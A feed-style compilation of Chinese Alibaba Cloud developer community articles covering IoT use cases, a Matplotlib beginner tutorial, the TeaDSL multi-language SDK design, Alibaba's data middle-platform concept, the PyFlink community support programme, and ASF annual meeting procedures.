    工业物联网涵盖了许多用例,就像一般的物联网一样。主要目标是优化运营效率和自动化制造流程。领先的商业巨头已经在其工作流程中实施了IIoT解决方案。

    我们已经向您展示IIoT可以用于不同行业的所有领域。这些都是一些很好的例子,说明了老牌公司如何利用新技术来优化流程,同时降低成本,降低人为失误造成的风险。“工业4.0”等智能技术表明,通往下一次工业革命的道路已经开始。

    原文链接

    ]]>
    将物联网整合到医疗保健,农业和运输用例中-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.jpg

    当你把一个传统的设备,比如手表,加上计算、连接和一层智能,你最终会改变用户体验,这难道不是很吸引人吗?

    什么是物联网?我们将物理设备连接到internet以改变用户体验。对于物联网用例,你可以想象出一系列的可能性。智能家居可能是大众媒体最常讨论的话题。想象一下你的车库门,家里的灯和音响都在一起工作,当你到家的时候,它们能创造一个更好的氛围,根据你的喜好和需要调节你的环境。

    现在,对于商业用例,可以想象一个农民通过智能手机管理整个农场。安全摄像头、灌溉设备、温度传感器都可以连接起来,这样它们就能更好地协同工作。在一个城市的公共交通系统中,你可以管理交通、公共汽车时刻表、停车点和维护,你可以为生活在城市中的人们创造更好的体验。

    将物联网和机器学习带入医疗保健

    2.png

    当今的医疗保健机构越来越多地采用可提供多种远程监控,医疗保健交付和家庭诊断功能的技术,这些技术可以利用机器学习和物联网。如今,智能医疗系统集成了全天候的实时数据流,用药提醒和实时医疗诊断,所有这些都减少了对医院就诊的需求。

    IoT在医疗保健行业有时被称为“医疗物联网(IoMT)”。它由医疗设备,患者监视工具,可穿戴设备和其他传感器组成,这些设备可以通过互联网将信号发送到其他设备。这些工具生成大量数据,必须对其进行存储,集成和分析,以便针对慢性病管理和急诊患者护理需求生成可行的见解。

    预测住院环境中患者的恶化或感染需要床边设备的持续反馈,而诸如蓝牙的血压袖带,体重计和药瓶之类的家庭监控工具可以使患者遵守诊所以外的慢性病管理协议。传感器,机器学习,大数据分析和区块链可能都是IoMT潜在有用的技术。

    农业行业的物联网用例

    3.jpg

    借助物联网,农民可以监控和管理每一个细微的细节,从土壤和单个植物的水分,营养和酸度含量到有害生物和当地天气模式,再到牛的健康和每分钟的运动情况。 随着这些元素之间的联系,农民可以从大数据分析中获得巨大的洞察力,从而可以做出更好的决策。

    物联网和遥感技术有助于发掘新的创新。例如,GroundCover使用农场图像来绘制和预测马铃薯的产量;其CanopyCheck应用程序使用智能手机向农民添加地理位置信息。孟山都的综合农业系统(IFS)使用分析工具,例如 “ FieldScript”,提供有关种植,精确播种和遗传增益的建议。GrowSafe Systems使用传感器和分析来跟踪牛的运动和健康状况,并帮助农民应对疾病的检测和预防。

    农业物联网可以带来一系列好处。它可以通过自动化过程(例如打开远程农业设备)来提高农业工人的生产率,这也降低了差旅成本。还可以为牲畜提供响应速度更快的医疗保健服务,并且可以通过无线传感器跟踪其健康指标。物联网以及随附的分析解决方案可以揭示对作物季节计划的新见解,提高食品安全性并减轻作物歉收风险。

    运输中的物联网用例

    4.png

    随着物联网继续连接我们周围的世界,一些最激动人心的数字化转型正在运输行业中出现。我们已经看到城市和州正在试行和部署基于IoT的技术,这些技术将运输基础设施,公共交通系统,道路,高速公路,标牌和路灯连接到车辆以及介于两者之间的所有内容。这些连接在一起有望创造出简化的运输方式,同时提高安全性和可持续性。

    未来,人工智能和机器学习将在交通运输领域变得越来越重要,从而可以实现更自动化,更具预测性的分析和更好的决策制定。AI和ML可以预测何时部署应急车辆,拖车,扫雪机等,从而提高道路和高速公路的安全性和效率。例如,通过汇总和分析当前和历史天气,小气候和交通数据,运输机构可以提前将撒盐的卡车部署到经常结冰的道路上。随后,他们可以预测何时在道路的超局部区域可能出现雾气并警告驾驶员。

    这些类型的预测性决策,由人工智能和人工智能驱动,使得交通运输在减少干扰的情况下运行,降低成本,确保更安全的出行。


    原文链接 ]]>
    初识Matplotlib | Python 数据可视化库 Matplotlib 快速入门之四-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 快速上手Jupyter Notebook | Python 数据可视化库 Matplotlib 快速入门之三

    Matplotlib介绍

    学习目标

    • 目标

      • 快速掌握Matplotlib画图
    • 应用

    • 内容预览

      • 2.1.1 什么是Matplotlib
      • 2.1.2 为什么要学习Matplotlib
      • 2.1.3 实现一个简单的Matplotlib画图
      • 2.1.4 认识Matplotlib图像结构
      • 2.1.5 拓展知识点:Matplotlib三层结构

        • 1 容器层
        • 2 辅助显示层
        • 3 图像层

    什么是Matplotlib

    image.png

    • 专门用于开发2D图表(包括3D图表)
    • 使用起来及其简单以渐进
    • 交互式方式实现数据可视化

    Matplotlib可以拆成3个英文单词:

    • mat - matrix 矩阵(存放数据的二维数据)利用二维数据生成二维图表。
    • plot - 画图
    • lib - library 库

    综上,Matplotlib就是一个画二维图表的python工具库。
    在学术领域还有一个工具:Matlab
    mat - matrix 矩阵
    lab 实验室
    Matlab:矩阵实验室,我们不使用它,是因为它有自己独立的语言,并且是收费的。

    为什么要学习Matplotlib

    可视化是在整个数据挖掘的关键辅助工具,可以清晰的理解数据,从而调整我们的分析方法。

    • 能将数据进行可视化,更直观的呈现
    • 使数据更加客观、更具说服力

    例如下面两个图为数字展示和图形展示:

    image.png

    拓展:js库 - D3echarts
    都是对数据的大量分析,方便选择更合适的分析方法。
    我们可以去直观的感受一下:国家财富与健康

    image.png
    image.png

    可以可以看到一个从1800~2019的一个变化。
    也可以去看一下echarts

    image.png

    随便去找一个看一下:

    image.png
    image.png

    也是可以看到具体的数据变化的。

    奥卡姆剃刀原理:如无必要勿增实体

    配套视频课程,点击这里查看

    获取更多资源请订阅Python学习站

    ]]>
    TeaDSL:支持任意 OpenAPI 网关的多语言 SDK 方案-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 背景

    阿里云有位工程师叫朴灵,热爱开源,是活跃在 Github 上的国内技术大牛之一。在阿里工作 6 年之际,朴灵产生了离职的想法,打算去一家创业公司再战高峰。走之前,朴灵做了一些研究工作,他发现阿里云在功能和产品上可以说是一流的云计算厂商,是创业公司的首选,但由于过去的业务中写过大量的 Node.js SDK,对开发者体验有着自己的体感,他觉得在开发者体验关怀上,阿里云做得还不够好。来自一个热血工程师最朴素的想法,自己何不先留下来,去把这件事情做好,于是,朴灵加入了阿里云开放平台负责 SDK 业务,期间,他和团队研发了专利 TeaDSL,下面朴灵将分享 TeaDSL 如何解决多语言 SDK 的问题。

    使用 OpenAPI 的痛苦

    在过去,我们经常说的 OpenAPI,通常的做法是,开发好服务端的接口,然后在文档里简单写几个参数描述,就直接丢给客户去用。反正我是开发好了,我这里是好的,客户能不能用起来我是不用管的。

    image.png

    图 1 第一代的 OpenAPI 通常仅由简单的文档及实际的接口构成

    然而接下来的问题就来了。首先,文档上写得不清不楚的参数,没有试过,完全不知道它到底能不能 Work。其次,OpenAPI 总得有一定的权限认证吧,那么总得有一个签名啥的,每个客户都要写一遍,关键是总是没法写对。再次,不同的客户所使用的编程语言不一样,得把接口重新包装才能用。

    总算费心费力调通了接口,以为可以高枕无忧的时候,咋接口老是报错,网络连不上,返回的数据不对,诸如此类。再往后,OpenAPI 可能总是要发生一点变化什么的,总是出现一些数据结构发生变化,不兼容之类的问题。

    一个 OpenAPI 到最后,不光是用户使用起来觉得很气,作为维护者也是很艰难的。当公布一个 OpenAPI 后,第一步给出简单的文档后,会发现除了要把参数详情写得越来越完善准确外,还得给出签名算法,让不同语言的开发者来接入。然而给出签名算法后,会发现只有一些开发者能顺利完成,大部分的开发者只能眼巴巴地请你帮忙提供一个 SDK。好吧,那就提供一下我最拿手的 Java 语言的签名,提供一个核心 SDK 呗。

    image.png

    图 2 第二代的 OpenAPI 会有 SDK 的实现,但仅有少许的语言支持

    随着这个 OpenAPI 接口的用户越来越多,一个客户说我要用 C++ 来对接你,另一个客户说我要用 Python 来对接你,于是,我一个 Java 程序员,怎么就要写那么多语言的 SDK 呢。没有办法,如果不提供良好的 SDK,客户说,没有 IDE 提示呢,我怎么写代码呢。

    总而言之,在 OpenAPI 的应用过程中,一件简单的事情,会变得非常复杂:

    • 需要提供良好的 API 文档,作为最基本的要求
    • 需要提供 SDK,保障开发者的编码体验,封装细节,代码提示等
    • 需要提供 Code Sample,更理解接口的使用效果
    • 如果有 CLI 就更好了,这样连 bash 脚本写起来也更方便
    • 如果没有 Test Cases 作为日常的持续集成,接口质量可能存在问题

    上面这些要求,如果加上多种编程语言的条件,就会演变为一件细碎而又繁多的体力活。并且这中间不能有任何的变动,因为仅仅是一点点的 OpenAPI 变动,就需要连带整个下游发生变化。如果一个地方没有保持一致,那么客户问题就会出现。

    image.png

    图 3 当用户量变多,OpenAPI 的提供者需要提供完善的工具及更多的编程语言支持

    通常为了解决此类的问题,以及 OpenAPI 的诸如签名校验,限流,生成 SDK、文档等等,业界通常会使用 API 网关来承担这些横向的责任。

    然而,作为笔者所在的环境下,会发现,我们身边的网关有点多。于是不同的网关有不同的风格,不同的签名算法,不同的序列化格式。于是上述的过程要根据不同网关的数量,进行翻倍:

    image.png

    图 4 当一个企业变得庞大时,不同风格的 OpenAPI 及网关都会出现

    当我们在抱怨使用不同产品的 OpenAPI/SDK 体验不一致,文档不对,Demo 出错等等问题时,真不是因为做这些事情太难,而是太多,太琐碎。一件简单的事情,需要做一百次,也就不是简单的事情了。

    TeaDSL 的解决之道

    TeaDSL 是由阿里云开放平台 SDK 团队主导设计的一门领域特定语言。主要用于解决如下问题:

    • 通过一门中间语言,可以支持不同风格的网关。即使网关下的 OpenAPI 风格各异,也能一致地表达到。
    • 可以通过翻译的能力,实现对不同编程语言的代码生成。也就是可以基于统一的中间表达,生成多语言的 SDK。
    • 基于中间表达,我们可以将一组 OpenAPI 视为一个 library,因此可以在这个基础上实现 OpenAPI 接口的 Code Sample 编写。进而实现多语言的 Code Sample 统一生成。

    因此 TeaDSL 的核心能力就是通过一种中间语法来描述 OpenAPI,提供类似编程语言的能力,来将 OpenAPI、SDK、Code Sample 等场景及语言有机地结合在一起。

    在没有 TeaDSL 之前,对于不同的网关,我们要为它制定独立的工作流程,即从 OpenAPI 定义到不同语言的 SDK 生成,是独特的。换一个新的网关风格,就要重新实现这套流程。

    image.png

    图 5 M 个网关都要支持 N 种编程语言,整个工作量是 M * N 的关系

    而具有 TeaDSL 后,我们则形成一个中间层。可以将原来的工作收敛起来,我们仅需要关注不同的网关到 TeaDSL 的转换工作,以及 TeaDSL 到各个编程语言的生成工作。


    image.png

    图 6 经过中间层的隔离,整个工作量变为 M + N 的关系

    也就是说,TeaDSL 是在做一件 M * N 到 M + N 的工作。当网关越多,支持的编程语言越多,收益则越大。

    一旦这个中间层建立起来,整个 OpenAPI 的应用形式都可以基于它来构建。比如,编写一个 OpenAPI 的 Code Sample,Test Case 等。

    接下来简单介绍 TeaDSL 是如何实现支持任意风格的网关和多种编程语言的。

    如何支持任意风格的网关

    对于不同的 API 网关,或者不同产品的 OpenAPI 而言,它们之间的风格可能都千差万别,因此在很大的程度上,每种风格的 OpenAPI 都有它自己的元数据定义格式。为了减少网关、风格带来的差异化,业界主要推动的方式是尽量采用标准的定义格式。比如 Swagger 就是其中的佼佼者,它依托于 OpenAPI Specification ,以 RESTful 风格的 OpenAPI 作为基准,形成了一套业界标准。

    但这个世界就是这样不完美,我们现有的大量 OpenAPI 并不是 RESTful 风格的。这导致很多的产品现存的 OpenAPI 在文档、SDK等场景下,无法使用上 Swagger 这样强大的生态工具链。

    为了解决这些问题,我们需要进行两步操作:

    • 设立一套新的标准,来包容不同风格的 OpenAPI
      以这套新的标准,来建设生态工具链
    • 如果完成这两个步骤,那么现实世界上的每一个 OpenAPI,RESTful 或者非 RESTful 的,不需要做任何迁移,也能具有强大的工具链支持。

    新标准的设计

    通过我们的研究发现,无论 OpenAPI 的参数是如何组成的,传输是 JSON,还是 XML,乃至自定义协议,OpenAPI 都是基于 HTTP 协议栈进行提供的。也就是说,万变不离其宗的是 HTTP 协议本身。因此我们确立的基本模型是这样的:

    {
      protocol: string, // http or https
      port: number,         // tcp port
      host: string,         // domain
      request: {
        method: string, // http method
        pathname: string, // path name
        query: map[string]string, // query string
        headers: map[string]string,  // request headers
        body: readable      // request body
      },
        response: {
        statusCode: number, // http method
        statusMessage: string, // path name
        headers: map[string]string,  // response headers
        body: readable      // response body
      },
    }

    对于不同风格的 OpenAPI 而言,就像不同风格的建筑,它们的建筑材料都几乎相同,只是施工手法,组合形式不一样而已。我们看到的 OpenAPI 风格差异,实质则是序列化过程不同而带来的不同。我们序列化过程和数据模型分离,将用户更直观的数据结构提取出来。

    比如从用户角度出发,一个数据模型是更直观的事物:

    model User {
        username: string,
      age: number
    }

    在不同的网关下,它的传输形式可能是 JSON,也可能是 XML,但最终都是 readable,也就是可读的字节流。

    toJSON(user: User): string
    toXML(user: User): string

    最终的结果就是:

    __request.body = toJSON(user);
    __request.body = toXML(user);

    更进一步的过程是,我们会将一个 OpenAPI 的请求/响应包装为一个类似于编程代码的方法:

    api getUser(username: string): User {
      __request.method = 'GET';
      __request.pathname = `/users/${username}`;
      __request.headers = {
        host = 'hostname',
      };
    } returns {
      var body = readAsJSON(__response.body);
      return body;
    }

    尽管上面的代码不能实际运行,但大致也看出来我们包容不同的网关、风格的办法如下:

    • 以 request / response 也就是 HTTP 协议作为核心模型
    • 通过引入一些方法,如 toJSON / toXML / readAsJSON 等方法来分离数据结构和序列化过程
    • 将整个过程包装成方法

    这些方法在不同的编程语言下具有不同的实现,但我们只要定义好统一的签名,就能确保一致性:

    function toXML(data: $Model): string;
    function toJSON(data: $Model): string;

    以上就是 TeaDSL 如何实现支持任意网关的方案。整个过程相对抽象,网关间的那些具有差异化的风格,统统交给这些方法去实现,留下来的就只有数据结构。

    如何支持不同的编程语言

    如果只是能通过一种描述方式来描述不同的 OpenAPI 调用过程,只是完成了一半的工作。另一半的工作是如何将这种描述语言落地到不同的编程语言下。在过去,我们支持不同的编程语言,主要是基于模版的形式来生成不同语言的实际代码。但这对我们来说仍然还有一些不足之处:

    • 模版的生成方式相对生硬,实现起来容易,但维护起来不那么灵活
    • 生成出来的代码容易带来命名冲突,语法错误等

    从上面的形式也看到,这个方案,被我们设计成了一种 DSL 代码。因此它是具有自己的词法、语法、语义规则的,在生成目标编程语言代码之前,会有一套自身的校验。DSL 的这些能力是模版所不具备的。

    可能对于别的场合,采用 DSL 的形式并不多见。但对于前端工程师而言,这些年已经见的较多了:CoffeeScript、Babel、JSX、TypeScript 等等。为此我们参考了诸多编程语言的设计,最终形成了自己的一套语法。并借鉴编译器领域的转译方式,因此我们可以在模型一致的情况,生成到各种不同的编程语言下。

    整个 TeaDSL 的处理流程如下:

    image.png

    最终我们支持多种编程语言的场景主要有 3 个:

    • 基本的多种语言的 SDK
    • OpenAPI 相关的多种语言的 Code Sample
    • OpenAPI 相关的多种语言的 Test Case

    通过中间语言的强校验,生成到多种目标场景,可以解决编程语言支持不全面的问题。同时也大幅节约 OpenAPI 维护者的精力成本,不需要反复手工地编写不同编程语言下的 Code Sample。随着对不同编程语言的支持逐步完善,这些中间 TeaDSL 代码不需要任何操作,即可自动支持到新的编程语言下。

    总结

    TeaDSL 的主要能力是支持到不同风格的 OpenAPI,同时支持多语言的 SDK、Code Sample 目标生成。最终的目的仍然是打通从 OpenAPI 定义到文档、到 SDK、CLI 等 OpenAPI 使用场景下的一致性。提供给用户更统一、专业、一致的使用体验。同时也大幅降低 OpenAPI 提供者用来支持用户的成本,通过自动化的方式,节省精力的同时,还减少人为参与时导致的错误。

    目前 TeaDSL 在阿里云的一些 SDK 上已经有所应用,如:https://github.com/aliyun/aliyun-ccp 。阿里云开放平台在持续努力提升它的整个工具支持生态,以期望能建成比 Swagger 更适配的生态体系。

    image.png

    ]]>
    【独家整理】关于数据中台,你必须知道的10件事情-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 数据中台俨然是过去2年间的一个行业“网红”词。只要和企业数字化相关的内容,似乎都能见到数据中台的身影。
    众说纷纭的解读,好像并没有让这一概念变得日渐清晰化,反而让更多的人迷惑。关于数据中台,我们到底该如何理解?
    今天,阿里数据中台作为数据中台这一概念的首创者,将从起源开始,给大家剖析这一领域的10个必读知识。正本溯源的同时,小编也帮助大家一起厘清概念。

    01数据中台源自阿里巴巴内部实践。

    2015年,阿里巴巴宣布启动中台战略,“中台”一词首次进入公众视野,并迎来很多业内中台的效仿者。
    但实际上,早在2012年,阿里巴巴就已经在内部开始提数据中台方法论,到2014年把这个方法论在阿里体系之内不断迭代推广,再到2015年全面升级到组织战略层面。如今,阿里内部都通过数据中台一套方法论实现了数据资产化,数据资产价值化。

    02数据中台绝不是大数据平台。

    在一系列“并不严谨”的诠释中,数据中台很容易被误认为是大数据平台的另一个代名词。这显然是错误的!
    数据中台是构建在大数据平台之上的。它的核心是业务、应用,要结合场景,比如销售、市场,连接的是商业。
    数据中台不像飞天操作系统和大数据平台,是单独的产品,用户买过来就可以了。具象的说,它是一套解决方案,抽象的理解,它是一种新的公司运营理念。

    03数据中台绝不是传统数据仓。

    在系统和服务上,数据中台与传统数仓有很多明显的区别,首先表现在服务对象方面,传统的数仓只是满足领导数据决策的需要,因此更多的体现在报表输出,使用者以小部分的业务人员和决策层为主,新需求的开发周期以月甚至到年为计。而数据中台由于起家于互联网企业,其使用对象扩大到一线服务人员和商家企业,其业务需求更繁杂,很难用一套报表系统满足需求,因此催生出一个生态的数据服务。
    其次是体系架构上,数据中台是由多系统组成,再则,在服务表现形式上数据中台体现的更多样化,数据中台不仅能提供报表基础服务功能,而且为了满足各个业务部门不同需求,会提供领导决策系统、行业分析、业务洞察、业务重塑,自助查询等多个功能,满足从领导层、PD、业务人员、开发人员等各个层级的需求。

    04数据中台不是数据湖。

    数据中台与数据湖相比,更多实现数据的管理,强调利用数据的能力,强调数据开发和高效的使用,数据中台的数据资产管理可以对数据湖中的数据按照数据域方式进行管理并结合业务的逻辑实现整个数据模型的加工和开发。
    数据中台强调方法论,组织和工具的建设。非常强调数据赋能业务,衍生出很多的数据业务产品。比如在阿里面向商家的生意参谋,面向人物属性的标签服务、面向行业小二的行业洞察…这些都极大的扩展了数据价值,其次数据中台按分析的原子指标和派生指标方式做计算并存储在Maxcompute平台上,如有及时查询要求会同步分析结果数据给MPP或其他DB。这块在数据顶层设计,全域资产、统一技术、产品业务上与Datalke及EDW是不同的。

    05数据中台是方法论+产品+组织的组合。

    它是新时期(以用户为中心,数据为王),企业开展新型运营的一个中枢系统。具体看一下每一个部分:阿里云数据中台基于OneData方法论,实现数据资产化工具体系;产品,是经过抽象和设计变成通用化、标准化、可扩展的服务,是对行业的沉淀。只有产品才能面向更广泛的业务人员。
    阿里云数据中台目前已经形成了以Dataphin、Quick BI、Quick Audience等为核心的产品矩阵;组织,基于数据带动效率、业务增长,降低成本。如果把组织比作人体的血管,那数据就是血液。想要血液顺畅的流淌,组织必须跟着做相应的调整,比如增加数据科学家、数据产品经理等岗位。

    06阿里云数据中台OneData方法论可以提供三种核心能力,帮助企业实现数据资产化。

    这三项能力都是基于Dataphin产品来实现的。其中,OneModel负责统一数据构建及管理,OneID负责统一数据萃取,OneService负责统一数据服务。层层递进,将行业智慧和积累赋予每个组织。

    07 阿里云数据中台实施要注意三个关键节点。

    如果只是看项目实施,三个关键节点:认知行业、找到痛点,阿里云数据中台方案及交付对接。但事实上,这只是一个开始,最重要的是运营理念的转变,围绕数据中台这一核心做上下相应的调整,使企业达到更好的状态,这个过程是漫长的。

    08对企业是否适合部署数据中台的4个建议。

    一、如果你是大型成功企业,数据中台必须要做,宜早不宜迟。
    二、如果是处于快速发展中的成熟企业,数据中台能为未来发展升级提供强劲推动力。
    三、对于一个刚发展的创新公司,如果要赢在未来的赛道,引领行业发展,建议使用阿里云数据中台。
    四、如果你只是有一个idea,业务发展还未成型时,建议可以带着数据中台的思路去构建企业业务和组织发展,为未来奠定基础。

    09数据中台和业务中台的关系是相互作用。

    业务中台和数据中台的双中台,是相辅相成,缺一不可的。因为业务是数据的来源,而只有数据才能支撑业务正常运转。所以,在数据经过数据中台的汇总处理、重新编排之后,就能够为整个业务提供基本的数据保障。数据中台和业务中台相结合,企业就能够以极小的成本投入,来构建新的前端业务并快速试错。而这正是传统业务模式所没有的优势,能够让需要快速迭代的互联网企业突破瓶颈,实现增长。

    10阿里云数据中台已经形成“中台核心产品+专家咨询服务+生态交付合作“的运作模式。

    建设数据中台是非常复杂的系统化工程,具体拆解这一系统化工程,阿里云数据中台解决方案可以分为三层:首先是核心产品,其次是基于产品构建的方案,最后是实施及运营。
    1)中台核心产品:从2012年开始提数据中台方法论,到2014年把这个方法论在阿里体系之内不断迭代推广,再到2015年全面升级到组织战略层面。如今,阿里内部都通过数据中台一套方法论实现了数据资产化,数据资产价值化。
    现在,阿里巴巴已经可以把这些方法论进一步提炼和抽象成为高度智能化的工具,诸如:Dataphin智能数据构建与管理,面向各行各业大数据建设、管理及应用诉求,可以一站式提供从数据接入到数据消费全链路的智能数据构建与管理的大数据能力,助力企业打造标准统一、融会贯通、资产化、服务化、闭环自优化的智能数据体系,以驱动业务创新。
    又比如Quick BI,它是目前唯一进入Gartner魔力象限ABI领域的中国BI工具,是阿里巴巴数据中台团队基于多年阿里内部数据分析产品和数据化运营经验专为云上用户量身打造的新一代智能BI服务平台。
    2)专家咨询服务:阿里云数据中台解决方案服务中,专家咨询可以视为另一种经验智慧的输出。阿里巴巴发展近20多年的时间内,积累了大量的行业经验和商业智慧。这些经验和能力都会通过专家咨询来透出给需要的企业,从而帮助企业规避风险,少走弯路,最快且有效地建立可以解决业务困境的数据中台模式。
    3)生态交付合作:在数据中台模式中,生态合作就是将集合具有行业深度和业务经验的伙伴们,共同去打造基于行业特性的解决方案,围绕着数据中台提供的产品、技术及服务共同打造一个共荣发展的数据中台生态。

    ]]>
    快速上手Matplotlib | Python 数据可视化库 Matplotlib 快速入门之五-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 初识Matplotlib | Python 数据可视化库 Matplotlib 快速入门之四

    实现一个简单的Matplotlib画图

    import matplotlib.pyplot as plt
    %matplotlib inline
    
    plt.figure()
    plt.plot([1, 0, 9], [4, 5, 6])
    plt.show()

    执行结果:

    image.png

    我们来分析一下上述代码:
    import matplotlib.pyplot as plt
    pyplot重命名为plt,导包。
    %matplotlib inline是环境适配。
    plt.figure()创建一个画布
    plt.plot([1, 0, 9], [4, 5, 6]),两个数据参数,以此来画图。

    image.png

    所以数据都一个是横坐标,第二个是纵坐标,以列表形式存在。plot则是将点连成线。

    认识Matplotlib图像结构

    image.png

    我们可以添加标题、图例、网格,可以绘画散点图,折线图等,这些都是可以通过代码进行丰富的。我们之后进行介绍。

    配套视频课程,点击这里查看

    获取更多资源请订阅Python学习站

    ]]>
    PyFlink 社区扶持计划正式上线! Fri, 02 May 2025 09:39:04 +0800 Flink 从 1.9.0 版本开始增加了对 Python 的支持(PyFlink),最新发布的 Flink 1.10 中明确目前 PyFlink 生态的功能特性在社区的努力下逐步完善。为了让大家更好的上手使用 PyFlink,自即日起,PyFlink 社区扶持计划正式上线!

    01 为什么要发起 PyFlink 社区扶持计划?

    随着 PyFlink 两个大版本的发布,功能日趋完善,用户也与日俱增。

    PyFlink 易用性不断增强,功能日益适应实际业务的需求,同时性能持续满足生产需要。为了更好地服务社区用户,让对 PyFlink 有反哺意愿的用户得到更优质的服务、以及与社区大牛(ASF Member,PMCs,Committers)共同探讨技术的机会。PyFlink 社区特发起用户扶持计划,本计划将面向所有 PyFlink 社区公司客户,我们将选择具有代表性的业务/公司进行专业的一对一扶持

    02 社区目标:并肩作战,营造双赢

    该项目由 PyFlink 的核心开发人员与参与用户一起根据实际业务场景打磨 PyFlink 的现有功能,并邀请用户一同参与项目未来功能规划,打造有用、实用、高效的 PyFlink 功能生态。

    社区衷心希望能够让更多用户在 PyFlink 核心开发人员的支持下,快速找到适合自己业务场景的 PyFlink 最佳实践,平稳顺利达成业务目标。确保您的 PyFlink 项目从零开始上生产!

    让我们携手共同促进 PyFlink 的生态建设,致力于为你的项目创造商业价值的同时也成就你的社区的梦想~ 说不定你就是下一个 Committer!

    03 如何参与 PyFlink 计划?

    如果您对本扶持计划有参与意向,可以点击下方链接填写问卷即可,初步审核符合条件后我们会在收到问卷的 10 个工作日内与您联系。

    【PyFlink 问卷链接】
    https://survey.aliyun.com/apps/zhiliao/B5JOoruzY

    了解更多 PyFlink 信息,您可参考以下技术文章:

    # 社区活动推荐 #

    普惠全球开发者,这一次,格外与众不同!首个 Apache 顶级项目在线会议 Flink Forward 全球直播中文精华版来啦,聚焦 Alibaba、Google、AWS、Uber、Netflix、新浪微博等海内外一线厂商,经典 Flink 应用场景,最新功能、未来规划一览无余。点击下方链接可了解更多大会详情:https://developer.aliyun.com/live/2594?spm=a2c6h.14242504.J_6074706160.2.3fca361f4cYyQx

    ]]>
    走进ASF系列 - ASF年度大会程序 Fri, 02 May 2025 09:39:04 +0800 最简单的即是最困难的

    阿里的新六脉中有一脉叫做“因为信任,所以简单”。在我们的生活工作中最宝贵的是信任,同时最脆弱的也是信任。你复杂,世界便复杂;你简单,世界也简单。ASF组织也是一样,提倡公开,提倡民主,提倡信任。在上一篇的《走进ASF系列 - 初识ASF组织架构及治理》中提到ASF采用选举和任命的方式进行公司治理,选举是所有ASF成员共同参与,以公平公正公开的态度来进行董事会成员的选举和新ASF成员的提名。会议中全球700多位成员,不论你来自哪个国家,哪个民族在ASF组织中都一视同仁,也许未曾谋面,但却彼此信任,信任每一成员所抛出的观点,信任每一成员的提名,信任每一个成员的投出的一票。因为每个成员明白,自己的每一言,每一票都是对自己人格的勾勒。

    作为一个即将迎来9周年的阿里人,我也借此和大家分享一下我对“因为信任,所以简单”的理解。 阿里新六脉是阿里人价值观的衡量标准,是阿里人个人的行为准则,是阿里人思考问题,与世为人的百宝箱。新六脉是自我修炼的宝典,但不是约束其他人的工具。我们在做事情时候不要用新六脉去衡量其他同学是否做到了,而是拿新六脉来衡量自己是否做到了,我们就以“因为信任,所以简单”为例,这里的"信任"我更愿意理解成当你做事情,做决定的时候是否“信任”自己的选择是对的,是否“信任”自己的做的事情是正确的,是否“信任”自己的方向是否着眼于未来的!如果你对自己的思考,选择,行动都是那么的”坚信“,那么你在执行的时候,不论你遇到怎样的问题你的决定都是“简单”的。如同路对了,永远不惧怕遥远,因为你已经在路上。同样在阿里巴巴将 Blink 进行开源和收购Flink母公司的路上也是异常艰辛的,但我们坚信这是对的,所以我们的脚步是坚定的,遇到困难时候的选择是简单的,那就是 披荆斩棘,为开源,为更多的人,更多的企业能够享受到Blink/Flink的美好而努力。

    ASF 金字塔

    ASF金字塔描述了不同角色的群体特征,越上面人群越小,但对ASF肩负的责任越大,越下面人群越大,但对ASF的责任越小,参与越容易! 今天我们将为大家介绍ASF如何发展金字塔最顶端的管理人员!

    image.png

    ASF年度成员大会程序

    我对ASF的一句话定义是:"ASF是一个与阿里巴巴同龄(成立于1999年),有完整的组织(董事会)架构管理,以软件(140个领域)技术全球(覆盖230个国家)共享为使命的公益组织!" ASF为了更好的服务全球,让ASF组织更好的运转,需要每年进行ASF董事会成员和ASF成员的选举和任命。

    ASF至少每13个月举行一次年度成员大会,选举新的董事会,并对新的候选人进行投票。ASF年度会议由成员志愿者按照以下基本程序进行。

    [说明] 本篇参考[1]内容进行编写,部分措辞和语言组织略有调整,但保证内容含义的严格一致性。ASF虽然是一个非盈利组织,但是ASF是以公司化的方式进行运作的,有股东,董事会,还有执行机构,也有一些其他的雇员。本文中所提到的ASF年度大会算的是股东大会。

    目录

    • 听众
    • 会议机制-IRC沟通
    • 成员候选人投票

      • 如何计算成员投票
      • 怎样决定如何对成员候选人进行投票
    • 董事会投票

      • 如何计算董事会投票
      • 怎样决定如何对候选进行上投票

    听众

    本文档是ASF召开正式成员会议的概述。如果您是ASF的成员,请参阅本年度会议的 Private README.txt 以获取有相关方面的最新详细信息: /repos/private/foundation/Meetings/20200331/README.txt

    会议机制-利用IRC沟通

    由于我们的成员来自全球,因此成员会议在三天的时间内通过freenode的IRC举行。会议的前半部分(通常是星期二)在IRC实时聊天中举行,邀请所有成员参加。就像任何大型会议一样,轮值主席会负责根据预定的会议日程(agenda)和与会人员轮流在线交互。在会议的上半场中,我们审查来自各执行官的关于过去一年的基金会状况的报告。在上场年会无法出席的成员可以提交代理申请,以便可以将他们标记为出席。

    在会议上半场结束时,议程列出了下一届董事会的候选人,以及基金会的任何新候选人。候选人宣布后,会议将进行约46小时的休会。

    在休会期间,我们的Apache STeVe投票软件会向所有合格成员发送安全的私人电子邮件投票。投票通过电子邮件开放40多个小时,使世界各地的成员都可以方便地进行投票。所有选举计数和跟踪工作均由Apache STeVe和几位Member志愿者选举监督员执行。使用您的Apache ID登录后,在Web界面进行投票。

    在会议恢复之前(通常在星期四),投票将关闭几个小时,以使选举监督人员可以相互核对他们的票数是否一致。当会议在IRC上恢复时,主席宣布候选人名单的结果,并在会议上宣布董事会选举。会议的下半场通常要短得多,如果成员已经参加了上半场,则无需参加下半场。

    请不要等到最后一分钟进行投票:由于在会议召开前10天列出了所有董事会成员和新成员候选人,因此您有足够的时间事先研究您的选择。同时,投票过程是有监督的,监督人员来自组织的志愿者。

    会议结束后,将立即成立并宣布新董事会的任期,并由提名他们的现有成员向幸运的新成员候选人发出私人邀请。请注意,我们不会公开新当选成员(Member)的姓名,因为可能(很少)有些人不接受成为新成员的邀请。

    成员候选人投票

    如何计算成员投票

    要选出新成员,根据我们的章程4.1的规定,他/她必须获得在提名中进行投票的赞成票多于否决票。所有投票跟踪和记录都由Apache STeVe处理,由我们的票监督人员进行监控。投票的运行和审核过程均由ASF成员私下完成。

    对新成员候选人的投票是保密的;由于投票是针对个人的,因此投票监控器确投票结果后,便不会共享投票结果。

